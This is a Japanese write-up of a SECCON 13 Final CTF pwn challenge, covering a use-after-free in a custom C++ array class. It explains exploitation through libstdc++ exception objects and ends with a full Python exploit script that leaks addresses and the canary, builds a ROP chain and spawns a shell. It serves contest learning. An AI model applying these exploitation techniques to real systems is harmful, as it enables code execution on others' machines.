3月1日から3月2日にかけて開催されたSECCON 13 FinalにTPCで参加しました。Uint32Arrayという問題を解いたので、そのWriteupを書きました。 ```cpp #include #include class Uint32Array { public: Uint32Array() : _size(0), _buffer(nullptr) {} Uint32Array(size_t size) : _size(size), _buffer(new uint32_t[size]()) {} ~Uint32Array() { delete[] _buffer; } void clear() { for (ssize_t i = 0; i < _size; i++) _buffer[i] = 0; } uint32_t& at(size_t index) { if (index >= _size) throw std::out_of_range("out-of-bounds access"); return _buffer[index]; } private: size_t _size; uint32_t *_buffer; }; void AskArray(Uint32Array& arr) { size_t size = 0; do { std::cout << "size = "; std::cin >> size; } while (size > 100); arr = Uint32Array(size); arr.clear(); } void AskIndex(size_t& index) { std::cout << "index = "; std::cin >> index; } void AskValue(uint32_t& value) { std::cout << "value = "; std::cin >> value; } int main() { Uint32Array arr; uint32_t value; size_t index; std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); AskArray(arr); std::cout << "1. set" << std::endl << "2. get" << std::endl; while (std::cin.good()) { int choice; std::cout << "> "; std::cin >> choice; if (choice == 1) { AskIndex(index); AskValue(value); try { arr.at(index) = value; } catch(const std::out_of_range& e) { std::cout << "[ERR] " << e.what() << std::endl << "[ERR] Would you like to enter recovery mode? [y=1/N=0]: "; std::cin >> choice; if (choice == 1) { std::cout << "[ERR] Entering recovery mode: Try again." << std::endl; AskIndex(index); AskValue(value); arr.at(index) = value; } } } else if (choice == 2) { AskIndex(index); std::cout << "arr[" << index << "] = " << arr.at(index) << std::endl; } else { std::cout << "Bye!" << std::endl; break; } } return 0; } ``` この問題は、上記のC++のプログラムに関連しています。セキュリティ機構については以下の通りです。 ``` [*] '/root/workspace/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No ``` # Vulnerability ## Use-after-Free デバッグしている際に、`Uint32Array`の内部の配列が使用中にヒープ上で既に解放されていることに気付きました。

これはおそらく`AskArray`という関数に起因しています。この関数は`Uint32Array`の参照を引数として受け取り、ユーザーが入力した長さを持つ新しい`Uint32Array`を作成し、それを渡された参照先にコピーします。 ```cpp void AskArray(Uint32Array& arr) { size_t size = 0; do { std::cout << "size = "; std::cin >> size; } while (size > 100); arr = Uint32Array(size); arr.clear(); } ``` しかし、`Uint32Array`はこのプログラム専用の型であり、コピー演算子が定義されていません。そのため、`arr = Uint32Array(size);`の部分では、新しく作成されたインスタンスの内部バッファのアドレスとサイズのみが渡された参照先にコピーされます。そして、`AskArray`を抜ける際にインスタンスが`delete`され、内部バッファも解放されます。この時点で、`arr`が持つ内部バッファのアドレスは解放済みの領域を指しており、`Use-after-Free`（UAF）が発生します。 # Exploitation ## `__cxa_refcounted_exception`についてこのプログラムではC++の例外処理が使われており、エクスプロイトにおいてもこの仕組みを利用しました。`arr`のユーザーが入力した`index`の参照を得る際に`try`ブロックを使い、範囲外参照を試みたときに例外が発生します。 ```cpp try { arr.at(index) = value; } catch(const std::out_of_range& e) { std::cout << "[ERR] " << e.what() << std::endl << "[ERR] Would you like to enter recovery mode? [y=1/N=0]: "; std::cin >> choice; if (choice == 1) { std::cout << "[ERR] Entering recovery mode: Try again." << std::endl; AskIndex(index); AskValue(value); arr.at(index) = value; } } ``` ```cpp uint32_t& at(size_t index) { if (index >= _size) throw std::out_of_range("out-of-bounds access"); return _buffer[index]; } ``` C++では、例外が発生するとヒープ上に`__cxa_refcounted_exception`構造体が確保されます。この構造体は以下のようになっています。 ```cpp // libstdc++-v3/libsupc++/unwind-cxx.h struct __cxa_refcounted_exception { // Manage this header. _Atomic_word referenceCount; // __cxa_exception must be last, and no padding can be after it. __cxa_exception exc; }; // A dependent C++ exception object consists of a wrapper around an unwind // object header with additional C++ specific information, containing a pointer // to a primary exception object. struct __cxa_dependent_exception { // The primary exception this thing depends on. void *primaryException; // Unused member to get similar layout to __cxa_exception, otherwise the // alignment requirements of _Unwind_Exception would require padding bytes // before the unwindHeader member. void (_GLIBCXX_CDTOR_CALLABI *__padding)(void *); // The C++ standard has entertaining rules wrt calling set_terminate // and set_unexpected in the middle of the exception cleanup process. std::terminate_handler unexpectedHandler; std::terminate_handler terminateHandler; // The caught exception stack threads through here. __cxa_exception *nextException; // How many nested handlers have caught this exception. A negated // value is a signal that this object has been rethrown. int handlerCount; #ifdef __ARM_EABI_UNWINDER__ // Stack of exceptions in cleanups. __cxa_exception* nextPropagatingException; // The number of active cleanup handlers for this exception. int propagationCount; #else // Cache parsed handler data from the personality routine Phase 1 // for Phase 2 and __cxa_call_unexpected. int handlerSwitchValue; const unsigned char *actionRecord; const unsigned char *languageSpecificData; _Unwind_Ptr catchTemp; void *adjustedPtr; #endif // The generic exception header. Must be last. _Unwind_Exception unwindHeader; }; ``` ヒープ上ではこの構造体が次のように配置されます。

細かい説明は省きますが、この構造体内にはいくつかの関数ポインタがあり、それらは`catch`から抜ける際に呼び出されます。具体的には、上記のメモリ上で`0x55555556bb08`と`0x55555556bb68`にある関数ポインタが使われています。 ## 1. 配列と`__cxa_refcounted_exception`を重ねる `Uint32Array`のチャンクサイズは操作可能であり、例外が発生したタイミングで既に解放されているため、サイズを`0xa0`に設定し、例外発生時に`__cxa_refcounted_exception`と重なるように配置することで、関数ポインタを変更したり、アドレスをリークしたりすることが可能です。 `__cxa_refcounted_exception`とチャンクを重ねたヒープの状態は以下の通りです。注意点として、`__cxa_refcounted_exception`のサイズは`0x90`で、アドレスは`0x55555556c6d0`から`0x55555556c75f`までの範囲です。読み書き可能な領域は`0x98`となります。

## 2. アドレスリーク `__cxa_refcounted_exception`構造体には複数のアドレスが含まれており、それにより`exe`、`libstdc++`、`heap`、`stack`のアドレスリークが可能です。 ## 3. Ret2main この時点で、任意コード実行を以下の方法で実現しようと考えました。 1. `tcache`の先頭が`stack`か`libc`になるようにする。 2. その後、`ret2main`を行い、新しい`Uint32Array`を作成し、`ROP`または`FSOP`を利用する。 ### 1 をどのように実現しようとしたか: 1. `tcache`の先頭にあるチャンクのリンクを書き換えて`stack`や`libc`に向ける。 2. `__cxa_refcounted_exception`が解放されるときには、一緒にオフセット`+0x88`にあるアドレスのチャンクも解放される。具体的には`0x55555556c788`であれば、`0x55555556c770`のチャンクが解放される。これを利用し、`tcache_perthread_struct`を解放することでサイズが`0xa0`の`tcache`の数を`2`以上にしておく。 3. 再度例外を起こして`__cxa_refcounted_exception`の関数ポインタを書き換えて`ret2main`を行う。しかし、この方法では2の実現には成功しませんでした。その理由は、`tcache_perthread_struct`を`free`した後に`malloc`が呼ばれるとクラッシュしてしまったからです。クラッシュの原因は、特定のアドレス（仮にアドレスAと呼びます）に保存されている別のアドレスを参照しようとしているのに、アドレスAには有効なアドレスが含まれていなかったためでした。アドレスAに有効なアドレスをあらかじめ用意することはできませんでした。というのも、アドレスAが私たちが読み書きできる領域の先頭よりも上の領域を指していたからです。また、アドレスA自体は直前に`free`した位置（`tcache_perthread_struct`）に依存していたため、変更することができませんでした。そこで、他の解法は思いつきませんでしたが、状況を変えるためにまず`ret2main`を実現しようとしました。`Uint32Array`では一回の書き込みサイズが`32`ビットであり、`catch`ブロック内では回数制限があるため、直接関数ポインタに`main`を記入することはできません。そのため、`libstdc++`の関数ポインタの下`32`ビットを変更する方法を考えました。`__cxa_refcounted_exception`に含まれる関数ポインタの中で、`+0x18`に位置する`catch`を抜ける際のデストラクタを書き換えようとしたため、まずはデストラクタ呼び出し時のレジスタの状況を調べました。

ここで、`rbx`や`rcx`などには`heap`のアドレスが格納されているため、それらを関数として呼び出すようなガジェットがあれば`ret2main`できるのではないかと考えました。"配列と `__cxa_refcounted_exception`を重ねる"の部分で述べたように、`__cxa_refcounted_exception`と重なったチャンクのほとんどは例外発生時に上書きされてしまいますが、最後の8バイトだけは例外前に入力しておいた値が残ります。ここに`main`のアドレスを書き込み、デストラクタをそのアドレスを関数として呼び出すガジェットに書き換えることができれば、`ret2main`が実現できると考えました。そんな都合の良いガジェットはないだろうと思っていましたが、調べてみると一つだけ見つかりました。それは`call qword ptr [rbx+0x10];`というガジェットです。`rbx`は`0x55555556c750`で`rbx+0x10`は`__cxa_refcounted_exception`に上書きされない`8`バイトの領域のアドレス`0x55555556c760`になります。`rbx`は`0x55555556c750`で、`rbx+0x10`は`__cxa_refcounted_exception`に上書きされない8バイトの領域のアドレス`0x55555556c760`になります。このガジェットを見つける方法として、例えば`rbx`を使うガジェットを探すために`ropr libstdc++.so.6.0.33 | grep 'qword ptr \[rbx+0x10'`といったコマンドを実行しました。 ## 配列のアドレスとサイズを改変する `ret2main`を実現できたことで、それまで思いつかなかったさまざまな手法が浮かび上がりました。そして、`main`を呼び出す際、最初の部分ではなく`AskArray`を飛ばして呼び出せば、`arr`のサイズとアドレスを都合の良い値に改変できるのではないかと考えました。そのため、`AskArray`の呼び出し直後の`main+96`にジャンプし、スタックの状態を確認しました。 ``` 0x0000555555555576 <+86>: lea rdi,[rsp+0x40] 0x000055555555557b <+91>: call 0x555555555900 => 0x0000555555555580 <+96>: lea r12,[rip+0x2ab9] # 0x555555558040 ``` ここから、`arr`は`rsp+0x40`にあることが分かり、`main+96`にブレークポイントを設定してそのアドレスを確認すると、以下のように非常に都合の良い値が得られました。

サイズが`0x00007fffffffec30`で、配列のアドレスが`0x000055555556c750`であったため、配列の先頭からスタックの最後の領域までのすべての値を読み書きできる状態となりました。さらに、サイズ自体を`0xffffffffffffffff`に変更すれば（もちろん権限的な制約はありますが）、実際にすべてのメモリを読み書きできるようになります。その後、`ROP`や`FSOP`を活用すれば、任意のコード実行を実現することが可能です。 ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn import os exe = ptr.ELF("./chall") pwn.context.binary = pwn.ELF(exe.filepath) libc = ptr.ELF("./libc.so.6") ld = ptr.ELF("./ld-linux-x86-64.so.2") libstdcpp = ptr.ELF("libstdc++.so.6.0.33") def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return pwn.remote("uint32array.dom.seccon.games", 9999) else: cwd = os.getcwd() return pwn.process( exe.filepath, env={"LD_LIBRARY_PATH": cwd, "LD_PRELOAD": libstdcpp.filepath}, ) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(idx: int): io = connect() def sla(delim: bytes, data: bytes): io.sendlineafter(delim, data) return def sa(delim: bytes, data: bytes): io.sendafter(delim, data) return def sl(data: bytes): io.sendline(data) return def s(data: bytes): io.send(data) return def ru(delim: bytes, drop: bool = False) -> bytes: return io.recvuntil(delim, drop=drop) def rl() -> bytes: return io.recvline() def set_size(size: int): sla(b"size = ", str(size).encode()) return def set_value(index: int, value: int): assert value < 0x100000000 sla(b"> ", b"1") sla(b"index = ", str(index).encode()) sla(b"value = ", str(value).encode()) return def set_value_64(index: int, value: int): set_value(index, value & 0xFFFFFFFF) set_value(index + 1, value >> 32) return def get_value(index: int): sla(b"> ", b"2") sla(b"index = ", str(index).encode()) ru(b" = ") return int(rl().strip(b"\n")) def get_value_64(index: int) -> int: lower = get_value(index) upper = get_value(index + 1) return lower | upper << 32 # make chunk whose size is 0xa0 to overlap this chunk and __cxa_refcounter_exception set_size(38) set_value(100, 1) sla(b": ", b"0") # exe leak exe.base = get_value_64(4) - 0x3CC8 # heap leak heap_base = get_value_64(22) - 0x13750 ptr.logger.info(f"heap_base: {hex(heap_base)}") # stack leak stack_addr = get_value_64(30) ptr.logger.info(f"stack_addr: {hex(stack_addr)}") # libstdc++ leak libstdcpp.base = get_value_64(6) - 0xD2100 def modify_cxa_refcounted_exception(idx: int, value: int): set_value(100, 1) sla(b": ", b"1") sla(b"index = ", str(idx).encode()) sla(b"value = ", str(value & 0xFFFFFFFF).encode()) return # ret2main (+ 96) main = unwrap(exe.symbol("main")) set_value_64(36, main + 96) gadget = next(libstdcpp.gadget("call qword ptr [rbx+0x10];")) modify_cxa_refcounted_exception(6, gadget) rsp_addr = stack_addr - 0x30 array_addr = heap_base + 0x13750 final_rsp_addr = stack_addr + 0x68 binsh_addr = heap_base + 0x137B0 canary_addr = stack_addr + 0x58 canary_addr_2 = rsp_addr + 0x58 ptr.logger.info(f"rsp_addr: {hex(rsp_addr)}") ptr.logger.info(f"array_addr: {hex(array_addr)}") ptr.logger.info(f"final_rsp_addr: {hex(final_rsp_addr)}") ptr.logger.info(f"canary_addr: {hex(canary_addr)}") # prepare "/bin/lsh" set_value_64((binsh_addr - array_addr) // 4, ptr.u64(b"/bin/sh\0")) # canary leak offset_to_canary = (canary_addr - array_addr) // 4 canary = get_value_64(offset_to_canary) ptr.logger.info(f"canary: {hex(canary)}") # write rop chain rop = [] rop.append(next(libstdcpp.gadget("ret"))) rop.append(next(exe.gadget("pop rsi; pop r15; ret;"))) rop.append(0) rop.append(0) rop.append(next(libstdcpp.gadget("pop rdx; pop rbx; pop rbp; ret;"))) rop.append(0) rop.append(0) rop.append(0) rop.append(next(exe.gadget("pop rdi; ret;"))) rop.append(binsh_addr) rop.append(next(libstdcpp.gadget("pop rax; ret;"))) rop.append(59) rop.append(next(libstdcpp.gadget("syscall"))) for i in range(len(rop)): addr = final_rsp_addr + i * 8 offset = (addr - array_addr) // 4 set_value_64(offset, rop[i]) continue # recover canary set_value_64((canary_addr_2 - array_addr) // 4, canary) # change array to valid chunk to be pass the delete() before return set_value((rsp_addr - array_addr) // 4, (array_addr + 0x20) & 0xFFFFFFFF) sla(b"> ", b"3") io.interactive() return if __name__ == "__main__": main(0) ``` # 感想例外処理を用いたエクスプロイトは初めてでしたが、非常に学びが多かったです。また、初めてのオンサイトCTFで割と高難易度な問題を解くことができ、自信がつきました。

SECCON 13 Finals Writeup